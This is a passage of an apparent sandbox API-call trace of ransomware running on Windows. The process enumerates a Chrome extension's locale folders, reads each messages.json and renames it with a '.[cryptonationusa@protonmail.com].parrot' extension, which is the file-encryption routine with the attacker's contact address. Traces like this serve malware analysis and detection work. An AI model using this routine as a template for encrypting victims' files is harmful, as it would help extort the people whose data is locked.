liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.077] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.077] CloseHandle (hObject=0x1fc) returned 1 [0070.077] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.079] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.079] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74150c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74150c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.079] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb74150c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.079] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.079] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.079] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.079] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.079] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.079] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.080] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.080] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.080] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.081] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.081] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.081] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.081] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.081] CloseHandle (hObject=0x1fc) returned 1 [0070.081] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.083] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.083] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74150c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74150c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.083] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb74150c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.083] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.087] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.087] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.087] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.087] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.087] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.087] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.087] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.087] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.088] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.088] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.088] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.089] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.089] CloseHandle (hObject=0x1fc) returned 1 [0070.089] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.092] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.092] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74150c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74150c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.092] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb74150c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.093] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.094] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.094] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.095] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.095] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.095] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.095] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.095] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.095] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.096] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.096] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.096] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.096] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.096] CloseHandle (hObject=0x1fc) returned 1 [0070.097] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.098] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.098] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb743b220, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb743b220, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.098] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb743b220, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.099] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.101] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.101] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.101] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.101] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.101] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.101] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.101] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.102] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.103] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.103] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.103] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.103] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.103] CloseHandle (hObject=0x1fc) returned 1 [0070.104] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.106] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.106] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb743b220, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb743b220, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.106] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb743b220, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.106] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.106] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.106] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.106] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.106] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.106] FindNextFileW (in: 